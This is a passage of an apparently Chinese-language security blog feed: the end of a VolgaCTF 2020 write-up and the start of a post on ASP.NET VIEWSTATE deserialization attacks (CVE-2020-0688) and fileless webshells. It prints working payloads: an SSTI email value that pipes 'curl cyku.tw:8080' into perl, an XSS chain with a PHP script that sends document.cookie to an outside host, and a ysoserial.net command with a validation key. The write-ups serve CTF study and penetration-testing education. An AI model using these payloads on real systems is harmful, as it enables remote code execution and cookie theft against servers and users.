&#x73A9;&#x5BB6;&#x4F86;&#x8AAA;&#x4E26;&#x4E0D;&#x662F;&#x500B;&#x554F;&#x984C;&#x3002;</p>
<p>&#x6700;&#x5F8C;&#x6210;&#x529F; GetShell &#x7684; Payload&#xFF1A;</p>
<pre><code class="language-plaintext">POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://newsletter.q.2020.volgactf.ru/subscribe
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Upgrade-Insecure-Requests: 1

email=&quot;{{[&apos;curl${IFS}cyku.tw:8080|perl&apos;]|map(&apos;passthru&apos;)}}&quot;@a.a
</code></pre>
<p>&#x767C;&#x73FE; flag &#x85CF;&#x5728; /etc/passwd &#x88E1;<br>
<img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_05.png" alt="VolgaCTF_2020_Qualifier_library_05" loading="lazy"></p>
<p>Flag&#xFF1A;<code>VolgaCTF_6751602deea2a308ab611eeef7a4e961</code></p>
<br>
<h2 id="usercenter300">User Center - 300 &#x5206;</h2>
<p>&#x9019;&#x9053;&#x984C;&#x76EE;&#x4E00;&#x6A23;&#x6709;&#x500B;&#x8A3B;&#x518A;&#x3001;&#x767B;&#x5165;&#x529F;&#x80FD;&#xFF0C;&#x800C;&#x53F3;&#x4E0A;&#x89D2;&#x9084;&#x6709; Report Bug &#x7684;&#x6309;&#x9215;&#xFF0C;&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x662F;&#x300C;Steal admin&apos;s cookie!&#x300D;&#xFF0C;&#x6240;&#x4EE5;&#x5F88;&#x6E05;&#x695A;&#x5730;&#x8AAA;&#x660E;&#x4E86;&#x662F; Cross-Site Scripting &#x984C;&#x76EE;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_06.png" alt="VolgaCTF_2020_Qualifier_library_06" loading="lazy"></p>
<p>&#x5B98;&#x7DB2;&#x4E3B;&#x8981;&#x529F;&#x80FD;&#x90FD;&#x7528; JavaScript &#x5728;&#x524D;&#x7AEF;&#x5BE6;&#x73FE;&#xFF0C;&#x6240;&#x4EE5;&#x4F86;&#x770B;&#x770B;&#x524D;&#x7AEF;&#x5B8C;&#x6574;&#x7684; js &#x7A0B;&#x5F0F;&#x78BC;&#xFF08;&#x5FAE;&#x9577;&#xFF09;&#xFF1A;</p>
<pre><code class="language-javascript">function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace(&apos;/profile.html&apos;);
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace(&apos;/login.html&apos;);
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

function updateUser(user) {
  $.ajax({
    type: &apos;POST&apos;,
    url: `//${api}.volgactf-task.ru/user-update`,
    data: JSON.stringify(user),
    contentType: &quot;application/json&quot;,
    dataType: &apos;json&apos;
  }).done(function(data) {
    if(!data.success) {
      showError(data.error);
    } else {
      location.replace(`/profile.html`);
    }
  });
}

function logout() {
  $.get(`//${api}.volgactf-task.ru/logout`, function(data) {
    location.replace(&apos;/login.html&apos;);  
  });
}

function profile(user, edit) {
  if(![&apos;/profile.html&apos;,&apos;/report.php&apos;,&apos;/editprofile.html&apos;].includes(location.pathname))
    location.replace(&apos;/profile.html&apos;);
  $(&apos;#username&apos;).text(user.username);
  $(&apos;#username&apos;).val(user.username);
  $(&apos;#bio&apos;).text(user.bio);
  $(&apos;#bio&apos;).val(user.bio);
  $(&apos;#avatar&apos;).attr(&apos;src&apos;, `//static.volgactf-task.ru/${user.avatar}`);
  if(edit) {
    $(&apos;#editProfile&apos;).removeClass(&quot;d-none&quot;);
  }
  $(&apos;.nav-item .nav-link[href=&quot;/login.html&quot;]&apos;).addClass(&quot;d-none&quot;);
  $(&apos;.nav-item .nav-link[href=&quot;/register.html&quot;]&apos;).addClass(&quot;d-none&quot;);
  $(&apos;.nav-item .nav-link[href=&quot;/profile.html&quot;]&apos;).removeClass(&quot;d-none&quot;);
  $(&apos;.nav-item .nav-link[href=&quot;/logout.html&quot;]&apos;).removeClass(&quot;d-none&quot;);
}

function replaceForbiden(str) {
  return str.replace(/[ !&quot;#$%&amp;&#x7E54;()*+,\-\/:;&lt;=&gt;?@\[\\\]^_`{|}~]/g,&apos;&apos;).replace(/[^\x00-\x7F]/g, &apos;?&apos;);
}

function showError(error) {
   $(&apos;#error&apos;).removeClass(&quot;d-none&quot;).text(error);
}

$(document).ready(function() {
  api = &apos;api&apos;;
  if(Cookies.get(&apos;api_server&apos;)) {
    api = replaceForbiden(Cookies.get(&apos;api_server&apos;));
  } else {
    Cookies.set(&apos;api_server&apos;, api, {secure: true});
  }

  $.ajaxSetup({
    xhrFields: {
      withCredentials: true
    }
  });

  $(&apos;#logForm&apos;).submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: &apos;POST&apos;,
      url: `//${api}.volgactf-task.ru/login`,
      data: JSON.stringify({username: $(&apos;#username&apos;).val(), password: $(&apos;#password&apos;).val()}),
      contentType: &quot;application/json&quot;,
      dataType: &apos;json&apos;
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html?guid=${data.guid}`);
      }
    });
  });

  $(&apos;#regForm&apos;).submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: &apos;POST&apos;,
      url: `//${api}.volgactf-task.ru/register`,
      data: JSON.stringify({username: $(&apos;#username&apos;).val(), password: $(&apos;#password&apos;).val()}),
      contentType: &quot;application/json&quot;,
      dataType: &apos;json&apos;
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html`);
      }
    });
  });

  $(&apos;#avatar&apos;).on(&apos;change&apos;,function(){
    $(this).next(&apos;.custom-file-label&apos;).text($(this).prop(&apos;files&apos;)[0].name);
  });

  $(&apos;#editForm&apos;).submit(function(event) {
    event.preventDefault();
    b64Avatar = &apos;&apos;;
    mime = &apos;&apos;;
    bio = $(&apos;#bio&apos;).val();
    avatar = $(&apos;#avatar&apos;).prop(&apos;files&apos;)[0];
    if(avatar) {
      reader = new FileReader();
      reader.readAsDataURL(avatar);
      reader.onload = function(e) {
        b64Avatar = reader.result.split(&apos;,&apos;)[1];
        mime = avatar.type;
        updateUser({avatar: b64Avatar, type: mime, bio: bio});
      }  
    } else {
      updateUser({bio: bio});
    }
  });

  params = new URLSearchParams(location.search);

  if([&apos;/&apos;,&apos;/index.html&apos;,&apos;/profile.html&apos;,&apos;/report.php&apos;,&apos;/editprofile.html&apos;].includes(location.pathname)) {
    getUser(params.get(&apos;guid&apos;));
  }
  if([&apos;/logout.html&apos;].includes(location.pathname)) {
    logout();
  }
});
</code></pre>
<p>&#x7A0B;&#x5F0F;&#x78BC;&#x5FAE;&#x9577;&#xFF0C;&#x4F46;&#x6211;&#x5011;&#x9084;&#x662F;&#x53EF;&#x4EE5;&#x5F88;&#x5FEB;&#x770B;&#x5230;&#x95DC;&#x9375;&#x7684;&#x5E7E;&#x500B;&#x9EDE;&#xFF0C;&#x5982;&#x679C; cookie &#x4E2D;&#x5B58;&#x5728; api_server&#xFF0C;&#x5C31;&#x6703;&#x53D6;&#x90A3;&#x500B;&#x503C;&#x7576;&#x4F5C; API server &#x7684; subdomain&#xFF0C;&#x800C;&#x5F8C;&#x9762;&#x547C;&#x53EB; API server &#x7684;&#x65B9;&#x6CD5;&#x90FD;&#x662F;&#x900F;&#x904E; jQuery.getJSON &#x9019;&#x500B;&#x51FD;&#x5F0F;&#xFF0C;&#x800C;&#x9019;&#x500B;&#x51FD;&#x5F0F;&#x6709;&#x500B;&#x7279;&#x8272;&#x662F;&#x5982;&#x679C;&#x7DB2;&#x5740;&#x4E2D;&#x542B;&#x6709;&#x985E;&#x4F3C; <code>callback=?</code> &#x7684; pattern&#xFF0C;&#x6703;&#x5C07; API &#x4EE5; JSONP &#x7684;&#x65B9;&#x5F0F;&#x9032;&#x884C;&#x8F09;&#x5165;&#xFF0C;&#x6240;&#x4EE5;&#x53EA;&#x8981;&#x6211;&#x5011;&#x63A7;&#x5236; API server &#x6307;&#x5230;&#x6211;&#x5011;&#x7684;&#x4F3A;&#x670D;&#x5668;&#xFF0C;&#x56DE;&#x50B3;&#x60E1;&#x610F;&#x7684; JSONP &#x5167;&#x5BB9;&#x5C31;&#x80FD;&#x57F7;&#x884C;&#x4EFB;&#x610F; JavaScript&#x3002;</p>
<p>&#x53C3;&#x8003;&#x6587;&#x4EF6;&#xFF1A;<a href="https://api.jquery.com/jQuery.getJSON/#jsonp">jQuery.getJSON()#jsonp</a></p>
<pre><code class="language-javascript">api = &apos;api&apos;;
if(Cookies.get(&apos;api_server&apos;)) {
  api = replaceForbiden(Cookies.get(&apos;api_server&apos;));
} else {
  Cookies.set(&apos;api_server&apos;, api, {secure: true});
}
  
function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace(&apos;/profile.html&apos;);
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace(&apos;/login.html&apos;);
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}
</code></pre>
<p>&#x4F46;&#x6211;&#x5011;&#x8A72;&#x5982;&#x4F55;&#x5728;&#x76EE;&#x6A19; domain &#x4E0B;&#x8A2D;&#x7F6E; api_server cookie &#x5462;&#xFF1F;&#x9019;&#x5C31;&#x8981;&#x5229;&#x7528;&#x4E0A;&#x50B3;&#x5927;&#x982D;&#x8CBC;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x7576;&#x6211;&#x4E0A;&#x50B3;&#x4E00;&#x5F35;&#x5927;&#x982D;&#x8CBC;&#x7167;&#x7247;&#x6642;&#xFF0C;&#x6703;&#x767C;&#x51FA;&#x5982;&#x4E0B;&#x7684; API &#x8ACB;&#x6C42;&#xFF0C;avatar &#x70BA; base64 encode &#x904E;&#x7684;&#x5716;&#x7247;&#x4E8C;&#x9032;&#x4F4D;&#x8CC7;&#x6599;&#xFF0C;type &#x5247;&#x662F;&#x53D6;&#x5F97;&#x5716;&#x7247;&#x6642;&#x6703;&#x56DE;&#x61C9;&#x7684; Content-Type&#xFF0C;&#x6700;&#x5F8C;&#x7167;&#x7247;&#x6703;&#x4E0A;&#x50B3;&#x5230; static &#x7684; subdomain &#x4E0B;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;<code>https://static.volgactf-task.ru/e991c08651233e7113263f83af8ca810</code>&#x3002;</p>
<pre><code class="language-plaintext">POST /user-update HTTP/1.1
Host: api.volgactf-task.ru
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://volgactf-task.ru/editprofile.html
Content-Type: application/json
Content-Length: 62
Origin: https://volgactf-task.ru
Cookie: PHPSESSID=vfl71tu5hvoepu7dd8pe89ce23
Connection: close

{&quot;avatar&quot;:&quot;SSBhbSBpbWFnZQ==&quot;,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;bio&quot;:&quot;woof&quot;}
</code></pre>
<p>&#x90A3;&#x65E2;&#x7136;&#x6211;&#x5011;&#x80FD;&#x63A7;&#x5236;&#x56DE;&#x61C9;&#x7684; Content-Type&#xFF0C;&#x5C31;&#x6709;&#x6A5F;&#x6703;&#x5728; <code>static.volgactf-task.ru</code> domain &#x4E0B;&#x9032;&#x884C; XSS &#x653B;&#x64CA;&#x3002;&#x53EF;&#x662F;&#x7576;&#x6211;&#x5011;&#x5617;&#x8A66;&#x4FEE;&#x6539; type &#x70BA; text/html &#x6642;&#x51FA;&#x73FE;&#x932F;&#x8AA4;&#x300C;Forbidden MIME type&#x300D;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2020/03/VolgaCTF_2020_Qualifier_library_07.png" alt="VolgaCTF_2020_Qualifier_library_07" loading="lazy"></p>
<p>&#x7D93;&#x904E;&#x9ED1;&#x7BB1;&#x6E2C;&#x8A66;&#x5F8C;&#xFF0C;&#x767C;&#x73FE;&#x53EF;&#x4EE5;&#x7528; <code>text/htm\rl</code> &#x7E5E;&#x904E;&#x6AA2;&#x67E5;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x5011;&#x5C31;&#x80FD;&#x5F97;&#x5230; <code>static.volgactf-task.ru</code> domain &#x4E0B;&#x7684; XSS&#x3002;</p>
<p>&#x63A5;&#x4E0B;&#x4F86;&#x5C31;&#x662F;&#x8003;&#x616E;&#x5982;&#x4F55;&#x4E32;&#x56DE;&#x4E3B;&#x76EE;&#x6A19;&#x7684; <code>volgactf-task.ru</code> domain&#xFF0C;&#x6709;&#x8DA3;&#x7684;&#x4E8B;&#x5BE6;&#x662F;&#x700F;&#x89BD;&#x5668;&#x5141;&#x8A31; subdomain &#x8A2D;&#x5B9A; parent domain &#x7684; cookie&#xFF0C;&#x6240;&#x4EE5;&#x5982;&#x679C;&#x6211;&#x5011;&#x5728; <code>static.volgactf-task.ru</code> &#x4E0A;&#x57F7;&#x884C;&#x4E0B;&#x9762;&#x4E00;&#x884C; JavaScript&#xFF0C;&#x662F;&#x53EF;&#x4EE5;&#x6210;&#x529F;&#x5C0D; <code>volgactf-task.ru</code> &#x8A2D;&#x5B9A;&#x4E00;&#x500B; api_server &#x7684; Cookie &#x503C;&#x3002;</p>
<pre><code class="language-plaintext">document.cookie = &apos;api_server=anything; domain=.volgactf-task.ru; path=/&apos;;
</code></pre>
<p>&#x6240;&#x4EE5;&#x6211;&#x5011;&#x5C31;&#x53EF;&#x4EE5;&#x52AB;&#x6301;&#x4E00;&#x958B;&#x59CB;&#x6240;&#x8AAA;&#x7684;&#x5C0D; API server &#x767C;&#x7684;&#x8ACB;&#x6C42;&#xFF0C;&#x4E0D;&#x904E;&#x5728;&#x53D6;&#x51FA; api_server cookie &#x4E4B;&#x5F8C;&#x9084;&#x6703;&#x5C0D;&#x503C;&#x4F5C;&#x4E00;&#x4E9B;&#x904E;&#x6FFE;&#xFF0C;&#x96D6;&#x7136;&#x4E0D;&#x80FD;&#x7528;&#x300C;/&#x300D;&#x3001;&#x300C;#&#x300D;&#x7B49;&#x5B57;&#x5143;&#xFF0C;&#x4F46;&#x53EF;&#x4EE5;&#x585E; Unicode &#x5B57;&#x5143;&#xFF0C;&#x5728;&#x7D93;&#x904E; replaceForbiden &#x8655;&#x7406;&#x5F8C;&#xFF0C;&#x50CF;&#x662F;&#x300C;&#x55B5;&#x300D;&#x7684;&#x5B57;&#x5143;&#x6703;&#x8B8A;&#x6210;&#x300C;?&#x300D;&#xFF0C;&#x914D;&#x5408; API url &#x7D44;&#x5408;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x53EA;&#x8981;&#x5BEB;&#x5165; <code>api_server=cyku.tw&#x55B5;</code> &#x7684; cookie&#xFF0C;&#x6211;&#x5011;&#x5C31;&#x53EF;&#x4EE5;&#x8B93;&#x76EE;&#x6A19;&#x5C0D; <code>//cyku.tw?.volgactf-task.ru/user</code> &#x767C;&#x51FA;&#x8ACB;&#x6C42;&#xFF0C;&#x53EA;&#x8981;&#x518D;&#x56DE;&#x61C9;&#x60E1;&#x610F;&#x7684; JSONP &#x5167;&#x5BB9;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5F97;&#x5230; <code>volgactf-task.ru</code> &#x4E0B;&#x7684; XSS &#x4E86;&#x3002;</p>
<pre><code class="language-javascript">function replaceForbiden(str) {
  return str.replace(/[ !&quot;#$%&amp;&#x7E54;()*+,\-\/:;&lt;=&gt;?@\[\\\]^_`{|}~]/g,&apos;&apos;).replace(/[^\x00-\x7F]/g, &apos;?&apos;);
}

api = replaceForbiden(Cookies.get(&apos;api_server&apos;));

$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) { .. });
</code></pre>
<br>
<p>&#x6700;&#x7D42;&#x7684;&#x4E00;&#x4E9B; Payload</p>
<p><code>https://static.volgactf-task.ru/dc22aeee8535ae22cfbc8436362bd602</code>&#xFF1A;</p>
<pre><code class="language-plaintext">HTTP/1.1 200 OK
Server: nginx/1.16.1 (Ubuntu)
Date: Sun, 29 Mar 2020 16:01:04 GMT
Content-Type: text/html
Content-Length: 170
Connection: close
x-amz-id-2: lnjpjj+DN8MtESPMLchngoj5N26k9fp0vgNSbok8tzdFrmOxeeQZEcZp0E9UN3meoO0FJmxJx6c=
x-amz-request-id: 592B8F8A3A31F54F
Last-Modified: Sun, 29 Mar 2020 16:00:59 GMT
ETag: &quot;f1f0b0742b543cfb93c8a175368ebdd7&quot;
Accept-Ranges: bytes
X-Content-Type-Options: nosniff

&lt;script&gt;
document.cookie = &apos;api_server=poc.cyku.tw\u55B5; domain=.volgactf-task.ru; path=/&apos;;
document.location = &apos;https://volgactf-task.ru/profile.html?guid=?&apos;;
&lt;/script&gt;
</code></pre>
<p><code>poc.cyku.tw</code>&#xFF1A;</p>
<pre><code class="language-php">&lt;?php
header(&apos;application/javascript&apos;);
header(&apos;Access-Control-Allow-Origin: *&apos;);
?&gt;

(new Image).src = &apos;//poc.cyku.tw/?flag=&apos; + document.cookie;
</code></pre>
<p>&#x6700;&#x5F8C;&#x5728; Report Bug &#x9001;&#x51FA;&#x9023;&#x7D50;&#x5F8C;&#xFF0C;&#x5C31;&#x80FD;&#x5728; access.log &#x6536;&#x5230; flag</p>
<pre><code>134.209.205.157 - - [28/Mar/2020:06:38:20 +0000] &quot;GET /?flag=flag=VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16;%20api_server=poc.cyku.tw%E5%96%B5 HTTP/2.0&quot; 200 81 &quot;https://volgactf-task.ru/profile.html?guid=?&quot; &quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0&quot; &quot;-&quot;
</code></pre>
<p>Flag&#xFF1A;<code>VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16</code></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門！]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1;&#x5FAE;&#x8EDF;&#x7522;&#x54C1; Exchange Server &#x7206;&#x51FA;&#x4E00;&#x500B;&#x56B4;&#x91CD;&#x6F0F;&#x6D1E; CVE-2020-0688&#xFF0C;&#x554F;&#x984C;&#x767C;&#x751F;&#x7684;&#x539F;&#x56E0;&#x662F;&#x6BCF;&#x53F0; Exchange Server &#x5B89;&#x88DD;&#x5B8C;&#x5F8C;&#x5728;&#x67D0;&#x500B; Component &#x4E2D;&#x90FD;&#x4F7F;&#x7528;&#x4E86;&#x540C;&#x4E00;&#x628A;&#x56FA;&#x5B9A;&#x7684; Machine</p>]]></description><link>https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f3410</guid><category><![CDATA[Pentest]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Wed, 11 Mar 2020 11:19:42 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1;&#x5FAE;&#x8EDF;&#x7522;&#x54C1; Exchange Server &#x7206;&#x51FA;&#x4E00;&#x500B;&#x56B4;&#x91CD;&#x6F0F;&#x6D1E; CVE-2020-0688&#xFF0C;&#x554F;&#x984C;&#x767C;&#x751F;&#x7684;&#x539F;&#x56E0;&#x662F;&#x6BCF;&#x53F0; Exchange Server &#x5B89;&#x88DD;&#x5B8C;&#x5F8C;&#x5728;&#x67D0;&#x500B; Component &#x4E2D;&#x90FD;&#x4F7F;&#x7528;&#x4E86;&#x540C;&#x4E00;&#x628A;&#x56FA;&#x5B9A;&#x7684; Machine Key&#xFF0C;&#x800C;&#x76F8;&#x4FE1;&#x5927;&#x5BB6;&#x90FD;&#x5DF2;&#x7D93;&#x5F88;&#x719F;&#x6089;&#x53D6;&#x5F97; Machine Key &#x4E4B;&#x5F8C;&#x7684;&#x5229;&#x7528;&#x5957;&#x8DEF;&#x4E86;&#xFF0C;&#x53EF;&#x4EE5;&#x7AC4;&#x6539; ASP.NET Form &#x4E2D;&#x7684; VIEWSTATE &#x53C3;&#x6578;&#x503C;&#x4EE5;&#x9032;&#x884C;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x653B;&#x64CA;&#xFF0C;&#x5F9E;&#x800C;&#x9054;&#x6210; Remote Code Execution &#x63A7;&#x5236;&#x6574;&#x53F0;&#x4E3B;&#x6A5F;&#x4F3A;&#x670D;&#x5668;&#x3002;</p>
<p>&#x66F4;&#x8A73;&#x7D30;&#x7684; CVE-2020-0688 &#x6F0F;&#x6D1E;&#x7D30;&#x7BC0;&#x53EF;&#x4EE5;&#x53C3;&#x8003; ZDI blog&#xFF1A;</p>
<ul>
<li><a href="https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys">CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys</a></li>
</ul>
<p>&#x5C0D;&#x65BC; VIEWSTATE &#x53CD;&#x5E8F;&#x5217;&#x5316;&#x6F0F;&#x6D1E;&#x653B;&#x64CA;&#x5206;&#x6790;&#x5728;&#x7DB2;&#x8DEF;&#x4E0A;&#x5DF2;&#x7D93;&#x6709;&#x7121;&#x6578;&#x7BC7;&#x6587;&#x7AE0;&#x9032;&#x884C;&#x6DF1;&#x5165;&#x7684;&#x63A2;&#x8A0E;&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x6B64;&#x7BC7;&#x6587;&#x7AE0;&#x4E2D;&#x5C07;&#x4E0D;&#x518D;&#x91CD;&#x8907;&#x8D05;&#x8FF0;&#xFF0C;&#x800C;&#x4ECA;&#x5929;&#x4E3B;&#x8981;&#x60F3;&#x804A;&#x804A;&#x7684;&#x662F;&#x95DC;&#x65BC; VIEWSTATE exploit &#x5728;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x4E2D;&#x5982;&#x4F55;&#x9032;&#x884C;&#x5229;&#x7528;&#x3002;</p>
<br>
<p>&#x6700;&#x57FA;&#x672C;&#x3001;&#x5E38;&#x898B;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x5DE5;&#x5177; <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a> &#x7684; ViewState Plugin &#x7522;&#x751F;&#x5408;&#x6CD5; MAC &#x8207;&#x6B63;&#x78BA;&#x7684;&#x52A0;&#x5BC6;&#x5167;&#x5BB9;&#xFF0C;TypeConfuseDelegate gadget &#x7D93;&#x904E;&#x4E00;&#x9023;&#x4E32;&#x53CD;&#x5C04;&#x547C;&#x53EB;&#x5F8C;&#x9810;&#x8A2D;&#x6703; invoke Process.Start &#x547C;&#x53EB; cmd.exe&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x89F8;&#x767C;&#x57F7;&#x884C;&#x4EFB;&#x610F;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x3002;</p>
<p>&#x4F8B;&#x5982;&#xFF1A;</p>
<pre><code>ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c &quot;echo 123 &gt; c:\pwn.txt&quot;
              --generator=&quot;CA0B0334&quot;
              --validationalg=&quot;SHA1&quot;
              --validationkey=&quot;B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5&quot;
</code></pre>
<br>
<p>&#x7570;&#x5E38;&#x7684; VIEWSTATE &#x901A;&#x5E38;&#x6703;&#x5C0E;&#x81F4; aspx &#x9801;&#x9762;&#x56DE;&#x61C9; 500 Internal Server Error&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x4E5F;&#x7121;&#x6CD5;&#x76F4;&#x63A5;&#x5F97;&#x77E5;&#x6307;&#x4EE4;&#x57F7;&#x884C;&#x7684;&#x7D50;&#x679C;&#xFF0C;&#x4F46;&#x65E2;&#x7136;&#x6709;&#x4E86;&#x4EFB;&#x610F;&#x57F7;&#x884C;&#xFF0C;&#x8981;&#x7528; PowerShell &#x56DE;&#x5F48; Reverse Shell &#x6216;&#x56DE;&#x50B3;&#x6307;&#x4EE4;&#x7D50;&#x679C;&#x5230;&#x5916;&#x90E8;&#x4F3A;&#x670D;&#x5668;&#x4E0A;&#x4E26;&#x4E0D;&#x662F;&#x4EF6;&#x96E3;&#x4E8B;&#x3002;</p>
<p>But ..</p>
<p>&#x5728;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x7684;&#x5BE6;&#x6230;&#x4E2D;&#xFF0C;&#x4E8B;&#x60C5;&#x5F80;&#x5F80;&#x6C92;&#x9019;&#x9EBC;&#x7F8E;&#x597D;&#x3002;&#x73FE;&#x4ECA;&#x4F01;&#x696D;&#x8CC7;&#x5B89;&#x610F;&#x8B58;&#x90FD;&#x76F8;&#x5C0D;&#x9AD8;&#xFF0C;&#x76EE;&#x6A19;&#x4F3A;&#x670D;&#x5668;&#x74B0;&#x5883;&#x51FA;&#x73FE;&#x4EE5;&#x4E0B;&#x5E7E;&#x7A2E;&#x9650;&#x5236;&#x90FD;&#x5DF2;&#x662F;&#x5E38;&#x614B;&#xFF1A;</p>
<ul>
<li>&#x5C01;&#x9396;&#x6240;&#x6709;&#x4E3B;&#x52D5;&#x5C0D;&#x5916;&#x9023;&#x7DDA;</li>
<li>&#x7981;&#x6B62;&#x67E5;&#x8A62;&#x5916;&#x90E8; DNS</li>
<li>&#x7DB2;&#x9801;&#x76EE;&#x9304;&#x7121;&#x6CD5;&#x5BEB;&#x5165;</li>
<li>&#x7DB2;&#x9801;&#x76EE;&#x9304;&#x96D6;&#x53EF;&#x5BEB;&#xFF0C;&#x4F46;&#x5B58;&#x5728; Website Defacement &#x9632;&#x79A6;&#x6A5F;&#x5236;&#xFF0C;&#x6703;&#x81EA;&#x52D5;&#x5FA9;&#x539F;&#x6A94;&#x6848;</li>
</ul>
<br>
<p>&#x6240;&#x4EE5;&#x9019;&#x6642;&#x5C31;&#x53EF;&#x4EE5;&#x5145;&#x5206;&#x5229;&#x7528;&#x53E6;&#x4E00;&#x500B; ActivitySurrogateSelectorFromFile gadget &#x7684;&#x80FD;&#x529B;&#xFF0C;&#x9019;&#x500B; gadget &#x5229;&#x7528;&#x547C;&#x53EB; Assembly.Load &#x52D5;&#x614B;&#x8F09;&#x5165; .NET &#x7D44;&#x4EF6;&#x9054;&#x6210; Remote Code Execution&#xFF0C;&#x63DB;&#x53E5;&#x8A71;&#x8AAA;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x6211;&#x5011;&#x64C1;&#x6709;&#x5728;&#x8207; aspx &#x9801;&#x9762;&#x540C;&#x4E00;&#x500B; Runtime &#x74B0;&#x5883;&#x4E2D;&#x57F7;&#x884C;&#x4EFB;&#x610F; .NET &#x8A9E;&#x8A00;&#x7A0B;&#x5F0F;&#x78BC;&#x7684;&#x80FD;&#x529B;&#xFF0C;&#x800C; .NET &#x9810;&#x8A2D;&#x90FD;&#x6703;&#x5B58;&#x5728;&#x4E00;&#x4E9B;&#x6307;&#x5411;&#x5171;&#x6709;&#x8CC7;&#x6E90;&#x7684;&#x5168;&#x57DF;&#x975C;&#x614B;&#x8B8A;&#x6578;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#xFF0C;&#x4F8B;&#x5982; <a href="https://docs.microsoft.com/zh-tw/dotnet/api/system.web.httpcontext.current?view=netframework-4.8">System.Web.HttpContext.Current</a> &#x5C31;&#x53EF;&#x4EE5;&#x53D6;&#x5F97;&#x7576;&#x4E0B; HTTP &#x8ACB;&#x6C42;&#x4E0A;&#x4E0B;&#x6587;&#x7684;&#x7269;&#x4EF6;&#xFF0C;&#x4E5F;&#x5C31;&#x50CF;&#x662F;&#x6211;&#x5011;&#x80FD;&#x5229;&#x7528;&#x5B83;&#x4F86;&#x57F7;&#x884C;&#x81EA;&#x5DF1;&#x64B0;&#x5BEB;&#x7684; aspx &#x7DB2;&#x9801;&#x7684;&#x611F;&#x89BA;&#xFF0C;&#x4E26;&#x4E14;&#x904E;&#x7A0B;&#x5168;&#x662F;&#x5728;&#x8A18;&#x61B6;&#x9AD4;&#x4E2D;&#x52D5;&#x614B;&#x8655;&#x7406;&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x7B49;&#x540C;&#x65BC;&#x5EFA;&#x7ACB;&#x4E86;&#x7121;&#x6A94;&#x6848;&#x7684; WebShell &#x5F8C;&#x9580;&#xFF01;</p>
